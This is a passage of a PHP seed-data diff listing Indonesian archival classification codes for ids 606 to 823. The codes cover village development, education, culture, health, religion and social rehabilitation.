'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 607, + 'kode' => '413.22', + 'nama' => 'Diskusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 608, + 'kode' => '413.23', + 'nama' => 'Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 609, + 'kode' => '413.3', + 'nama' => 'Masyarakat Pradesa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 610, + 'kode' => '413.31', + 'nama' => 'Pembinaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 611, + 'kode' => '413.32', + 'nama' => 'Penyuluhan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 612, + 'kode' => '413.4', + 'nama' => 'Pemugaran Perumahan Dan Lingkungan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 613, + 'kode' => '413.41', + 'nama' => 'Rumah Sehat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 614, + 'kode' => '413.42', + 'nama' => 'Proyek Perintis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 615, + 'kode' => '413.43', + 'nama' => 'Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 616, + 'kode' => '413.44', + 'nama' => 'Pengembangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 617, + 'kode' => '413.45', + 'nama' => 'Perbaikan Kampung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 618, + 'kode' => '414', + 'nama' => 'Pengembangan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 619, + 'kode' => '414.1', + 'nama' => 'Tingkat Perkembangan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 620, + 'kode' => '414.11', + 'nama' => 'Jumlah Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 621, + 'kode' => '414.12', + 'nama' => 'Pemekaran Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 622, + 'kode' => '414.13', + 'nama' => 'Pembentukan Desa Baru', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 623, + 'kode' => '414.14', + 'nama' => 'Evaluasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 624, + 'kode' => '414.15', + 'nama' => 'Bagan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 625, + 'kode' => '414.2', + 'nama' => 'Unit Desa Kerja Pembangunan (UDKP)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 626, + 'kode' => '414.21', + 'nama' => 'Penyuluhan Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 627, + 'kode' => '414.22', + 'nama' => 'Lokasi UDKP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 628, + 'kode' => '414.23', + 'nama' => 'Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 629, + 'kode' => '414.24', + 'nama' => 'Bimbingan/Pembinaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 630, + 'kode' => '414.25', + 'nama' => 'Evaluasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 631, + 'kode' => '414.3', + 'nama' => 'Tata Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 632, + 'kode' => '414.31', + 'nama' => 'Inventarisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 633, + 'kode' => '414.32', + 'nama' => 'Penyusunan Pola Tata Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 634, + 'kode' => '414.33', + 'nama' => 'Aplikasi Tata Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 635, + 'kode' => '414.34', + 'nama' => 'Pemetaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 636, + 'kode' => '414.35', + 'nama' => 'Pedoman Pelaksanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 637, + 'kode' => '414.36', + 'nama' => 'Evaluasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 638, + 'kode' => '414.4', + 'nama' => 'Perlombaan Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 639, + 'kode' => '414.41', + 'nama' => 'Pedoman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 640, + 'kode' => '414.42', + 'nama' => 'Penilaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 641, + 'kode' => '414.43', + 'nama' => 'Kejuaraan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 642, + 'kode' => '414.44', + 'nama' => 'Piagam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 643, + 'kode' => '415', + 'nama' => 'Koordinasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 644, + 'kode' => '415.1', + 'nama' => 'Sektor Khusus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 645, + 'kode' => '415.2', + 'nama' => 'Rapat Koordinasi Horizontal (RKH)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 646, + 'kode' => '415.3', + 'nama' => 'Tim Koordinasi Pusat (TKP)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 647, + 'kode' => '415.4', + 'nama' => 'Kerjasama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 648, + 'kode' => '415.41', + 'nama' => 'Luar Negeri (UNICEF)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 649, + 'kode' => '415.42', + 'nama' => 'Perguruan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 650, + 'kode' => '415.43', + 'nama' => 'Kementerian / Lembaga Non Kementerian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 651, + 'kode' => '416', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 652, + 'kode' => '417', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 653, + 'kode' => '418', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 654, + 'kode' => '420', + 'nama' => 'PENDIDIKAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 655, + 'kode' => '420.1', + 'nama' => 'Pendidikan Khusus Klasifikasi Disini Pendidikan Putra/I Irja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 656, + 'kode' => '421', + 'nama' => 'Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 657, + 'kode' => '421.1', + 'nama' => 'Pra Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 658, + 'kode' => '421.2', + 'nama' => 'Sekolah Dasar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 659, + 'kode' => '421.3', + 'nama' => 'Sekolah Menengah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 660, + 'kode' => '421.4', + 'nama' => 'Sekolah Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 661, + 'kode' => '421.5', + 'nama' => 'Sekolah Kejuruan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 662, + 'kode' => '421.6', + 'nama' => 'Kegiatan Sekolah, Dies Natalis Lustrum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 663, + 'kode' => '421.7', + 'nama' => 'Kegiatan Pelajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 664, + 'kode' => '421.71', + 'nama' => 'Reuni Darmawisata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 665, + 'kode' => '421.72', + 'nama' => 'Pelajar Teladan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 666, + 'kode' => '421.73', + 'nama' => 'Resimen Mahasiswa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 667, + 'kode' => '421.8', + 'nama' => 'Sekolah Pendidikan Luar Biasa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 668, + 'kode' => '421.9', + 'nama' => 'Pendidikan Luar Sekolah / Pemberantasan Buta Huruf', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 669, + 'kode' => '422', + 'nama' => 'Administrasi Sekolah', + 'uraian' => 'Persyaratan Masuk Sekolah, Testing, Ujian, Pendaftaran,', + 'enabled' => 1, + ], + [ + 'id' => 670, + 'kode' => '422.1', + 'nama' => 'Mapras, Perpeloncoan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 671, + 'kode' => '422.2', + 'nama' => 'Tahun Pelajaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 672, + 'kode' => '422.3', + 'nama' => 'Hari Libur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 673, + 'kode' => '422.4', + 'nama' => 'Uang Sekolah, Klasifikasi Disini SPP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 674, + 'kode' => '422.5', + 'nama' => 'Beasiswa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 675, + 'kode' => '423', + 'nama' => 'Metode Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 676, + 'kode' => '423.1', + 'nama' => 'Kuliah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 677, + 'kode' => '423.2', + 'nama' => 'Ceramah, Simposium', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 678, + 'kode' => '423.3', + 'nama' => 'Diskusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 679, + 'kode' => '423.4', + 'nama' => 'Kuliah Lapangan, Widyawisata, KKN, Studi Tur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 680, + 'kode' => '423.5', + 'nama' => 'Kurikulum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 681, + 'kode' => '423.6', + 'nama' => 'Karya Tulis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 682, + 'kode' => '423.7', + 'nama' => 'Ujian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 683, + 'kode' => '424', + 'nama' => 'Tenaga Pengajar, Guru, Dosen, Dekan, Rektor', + 'uraian' => 'Klasifikasi Disini: Guru Teladan', + 'enabled' => 1, + ], + [ + 'id' => 684, + 'kode' => '425', + 'nama' => 'Sarana Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 685, + 'kode' => '425.1', + 'nama' => 'Gedung', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 686, + 'kode' => '425.11', + 'nama' => 'Gedung Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 687, + 'kode' => '425.12', + 'nama' => 'Kampus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 688, + 'kode' => '425.13', + 'nama' => 'Pusat Kegiatan Mahasiswa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 689, + 'kode' => '425.2', + 'nama' => 'Buku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 690, + 'kode' => '425.3', + 'nama' => 'Perlengkapan Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 691, + 'kode' => '426', + 'nama' => 'Keolahragaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 692, + 'kode' => '426.1', + 'nama' => 'Cabang Olah Raga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 693, + 'kode' => '426.2', + 'nama' => 'Sarana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 694, + 'kode' => '426.21', + 'nama' => 'Gedung Olah Raga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 695, + 'kode' => '426.22', + 'nama' => 'Stadion', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 696, + 'kode' => '426.23', + 'nama' => 'Lapangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 697, + 'kode' => '426.24', + 'nama' => 'Kolam renang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 698, + 'kode' => '426.3', + 'nama' => 'Pesta Olah Raga, ', + 'uraian' => 'Klasifikasi Disini: PON, Porsade, Olimpiade, dsb', + 'enabled' => 1, + ], + [ + 'id' => 699, + 'kode' => '426.4', + 'nama' => 'KONI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 700, + 'kode' => '427', + 'nama' => 'Kepramukaan Meliputi: Organisasi Dan Kegiatan Remaja', + 'uraian' => 'Klasifikasi Disini: Gelanggang Remaja', + 'enabled' => 1, + ], + [ + 'id' => 701, + 'kode' => '428', + 'nama' => 'Kepramukaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 702, + 'kode' => '429', + 'nama' => 'Pendidikan Kedinasan Untuk Depdagri, Lihat 890', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 703, + 'kode' => '430', + 'nama' => 'KEBUDAYAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 704, + 'kode' => '431', + 'nama' => 'Kesenian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 705, + 'kode' => '431.1', + 'nama' => 'Cabang Kesenian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 706, + 'kode' => '431.2', + 'nama' => 'Sarana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 707, + 'kode' => '431.21', + 'nama' => 'Gedung Kesenian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 708, + 'kode' => '432', + 'nama' => 'Kepurbakalaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 709, + 'kode' => '432.1', + 'nama' => 'Museum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 710, + 'kode' => '432.2', + 'nama' => 'Peninggalan Kuno', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 711, + 'kode' => '432.21', + 'nama' => 'Candi Termasuk Pemugaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 712, + 'kode' => '432.22', + 'nama' => 'Benda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 713, + 'kode' => '433', + 'nama' => 'Sejarah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 714, + 'kode' => '434', + 'nama' => 'Bahasa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 715, + 'kode' => '435', + 'nama' => 'Usaha Pertunjukan, Hiburan, Kesenangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 716, + 'kode' => '436', + 'nama' => 'Kepercayaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 717, + 'kode' => '437', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 718, + 'kode' => '438', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 719, + 'kode' => '439', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 720, + 'kode' => '440', + 'nama' => 'KESEHATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 721, + 'kode' => '441', + 'nama' => 'Pembinaan Kesehatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 722, + 'kode' => '441.1', + 'nama' => 'Gizi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 723, + 'kode' => '441.2', + 'nama' => 'Mata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 724, + 'kode' => '441.3', + 'nama' => 'Jiwa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 725, + 'kode' => '441.4', + 'nama' => 'Kanker', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 726, + 'kode' => '441.5', + 'nama' => 'Usaha Kegiatan Sekolah (UKS)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 727, + 'kode' => '441.6', + 'nama' => 'Perawatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 728, + 'kode' => '441.7', + 'nama' => 'Penyuluhan Kesehatan Masyarakat (PKM)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 729, + 'kode' => '441.8', + 'nama' => 'Pekan Imunisasi Nasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 730, + 'kode' => '442', + 'nama' => 'Obat-obatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 731, + 'kode' => '442.1', + 'nama' => 'Pengadaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 732, + 'kode' => '442.2', + 'nama' => 'Penyimpanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 733, + 'kode' => '443', + 'nama' => 'Penyakit Menular', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 734, + 'kode' => '443.1', + 'nama' => 'Pencegahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 735, + 'kode' => '443.2', + 'nama' => 'Pemberantasan dan Pencegahan Penyakit Menular Langsung (P2ML)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 736, + 'kode' => '443.21', + 'nama' => 'Kusta', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 737, + 'kode' => '443.22', + 'nama' => 'Kelamin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 738, + 'kode' => '443.23', + 'nama' => 'Frambosia', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 739, + 'kode' => '443.24', + 'nama' => 'TBC / AIDS / HIV', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 740, + 'kode' => '443.3', + 'nama' => 'Epidemiologi dan Karantina (Epidka)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 741, + 'kode' => '443.31', + 'nama' => 'Kholera', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 742, + 'kode' => '443.32', + 'nama' => 'Imunisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 743, + 'kode' => '443.33', + 'nama' => 'Survailense', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 744, + 'kode' => '443.34', + 'nama' => 'Rabies (Anjing Gila) Antraks', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 745, + 'kode' => '443.4', + 'nama' => 'Pemberantasan & Pencegahan Penyakit Menular Sumber Binatang (P2B)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 746, + 'kode' => '443.41', + 'nama' => 'Malaria', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 747, + 'kode' => '443.42', + 'nama' => 'Dengue Faemorrhagic Fever (Demam Berdarah HDF)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 748, + 'kode' => '443.43', + 'nama' => 'Filaria', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 749, + 'kode' => '443.44', + 'nama' => 'Serangga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 750, + 'kode' => '443.5', + 'nama' => 'Hygiene Sanitasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 751, + 'kode' => '443.51', + 'nama' => 'Tempat-tempat Pembuatan Dan Penjualan Makanan dan Minuman (TPPMM)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 752, + 'kode' => '443.52', + 'nama' => 'Sarana Air Minum Dan Jamban Keluarga (Samijaga)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 753, + 'kode' => '443.53', + 'nama' => 'Pestisida', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 754, + 'kode' => '444', + 'nama' => 'Gizi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 755, + 'kode' => '444.1', + 'nama' => ' Kekurangan Makanan Bahaya Kelaparan, Busung Lapar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 756, + 'kode' => '444.2', + 'nama' => 'Keracunan Makanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 757, + 'kode' => '444.3', + 'nama' => 'Menu Makanan Rakyat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 758, + 'kode' => '444.4', + 'nama' => 'Badan Perbaikan Gizi Daerah (BPGD)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 759, + 'kode' => '444.5', + 'nama' => 'Program Makanan Tambahn Anak Sekolah (PMT-AS)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 760, + 'kode' => '445', + 'nama' => 'Rumah Sakit, Balai Kesehatan, PUSKESMAS, PUSKESMAS, Keliling, Poliklinik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 761, + 'kode' => '446', + 'nama' => 'Tenaga Medis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 762, + 'kode' => '448', + 'nama' => 'Pengobatan Tadisional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 763, + 'kode' => '448.1', + 'nama' => 'Pijat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 764, + 'kode' => '448.2', + 'nama' => 'Tusuk Jarum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 765, + 'kode' => '448.3', + 'nama' => 'Jamu Tradisional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 766, + 'kode' => '448.4', + 'nama' => 'Dukun / Paranormal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 767, + 'kode' => '450', + 'nama' => 'AGAMA', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 768, + 'kode' => '451', + 'nama' => 'Islam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 769, + 'kode' => '451.1', + 'nama' => 'Peribadatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 770, + 'kode' => '451.11', + 'nama' => 'Sholat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 771, + 'kode' => '451.12', + 'nama' => 'Zakat Fitrah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 772, + 'kode' => '451.13', + 'nama' => 'Puasa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 773, + 'kode' => '451.14', + 'nama' => 'MTQ', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 774, + 'kode' => '451.2', + 'nama' => 'Rumah Ibadah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 775, + 'kode' => '451.3', + 'nama' => 'Tokoh Agama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 776, + 'kode' => '451.4', + 'nama' => 'Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 777, + 'kode' => '451.41', + 'nama' => 'Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 778, + 'kode' => '451.42', + 'nama' => 'Menengah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 779, + 'kode' => '451.43', + 'nama' => 'Dasar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 780, + 'kode' => '451.44', + 'nama' => 'Pondok Pesantren', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 781, + 'kode' => '451.45', + 'nama' => 'Gedung Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 782, + 'kode' => '451.46', + 'nama' => 'Tenaga Pengajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 783, + 'kode' => '451.47', + 'nama' => 'Buku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 784, + 'kode' => '451.48', + 'nama' => 'Dakwah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 785, + 'kode' => '451.49', + 'nama' => 'Organisasi / Lembaga Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 786, + 'kode' => '451.5', + 'nama' => 'Harta Agama Wakaf, Baitulmal, dsb', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 787, + 'kode' => '451.6', + 'nama' => 'Peradilan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 788, + 'kode' => '451.7', + 'nama' => 'Organisasi Keagamaan Bukan Politik Majelis Ulama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 789, + 'kode' => '451.8', + 'nama' => 'Mazhab', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 790, + 'kode' => '452', + 'nama' => 'Protestan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 791, + 'kode' => '452.1', + 'nama' => 'Peribadatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 792, + 'kode' => '452.2', + 'nama' => 'Rumah Ibadah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 793, + 'kode' => '452.3', + 'nama' => 'Tokoh Agama, Rohaniawan, Pendeta, Domine', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 794, + 'kode' => '452.4', + 'nama' => 'Mazhab', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 795, + 'kode' => '452.5', + 'nama' => 'Organisasi Gerejani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 796, + 'kode' => '453', + 'nama' => 'Katolik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 797, + 'kode' => '453.1', + 'nama' => 'Peribadatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 798, + 'kode' => '453.2', + 'nama' => 'Rumah Ibadah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 799, + 'kode' => '453.3', + 'nama' => 'Tokoh Agama, Rohaniawan, Pendeta, Pastor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 800, + 'kode' => '453.4', + 'nama' => 'Mazhab', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 801, + 'kode' => '453.5', + 'nama' => 'Organisasi Gerejani', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 802, + 'kode' => '454', + 'nama' => 'Hindu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 803, + 'kode' => '454.1', + 'nama' => 'Peribadatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 804, + 'kode' => '454.2', + 'nama' => 'Rumah Ibadah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 805, + 'kode' => '454.3', + 'nama' => 'Tokoh Agama, Rohaniawan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 806, + 'kode' => '454.4', + 'nama' => 'Mazhab', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 807, + 'kode' => '454.5', + 'nama' => 'Organisasi Keagamaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 808, + 'kode' => '455', + 'nama' => 'Budha', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 809, + 'kode' => '455.1', + 'nama' => 'Peribadatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 810, + 'kode' => '455.2', + 'nama' => 'Rumah Ibadah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 811, + 'kode' => '455.3', + 'nama' => 'Tokoh Agama, Rohaniawan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 812, + 'kode' => '455.4', + 'nama' => 'Mazhab', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 813, + 'kode' => '455.5', + 'nama' => 'Organisasi Keagamaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 814, + 'kode' => '456', + 'nama' => 'Urusan Haji', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 815, + 'kode' => '456.1', + 'nama' => 'ONH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 816, + 'kode' => '456.2', + 'nama' => 'Manasik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 817, + 'kode' => '457', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 818, + 'kode' => '458', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 819, + 'kode' => '458', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 820, + 'kode' => '460', + 'nama' => 'SOSIAL', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 821, + 'kode' => '461', + 'nama' => 'Rehabilitasi Penderita Cacat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 822, + 'kode' => '461.1', + 'nama' => 'Cacat Maat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 823, + 'kode' => '461.2', + 'nama' => 'Cacat Tubuh', + 'uraian' => '-', + 'enabled' => 1, + ], + 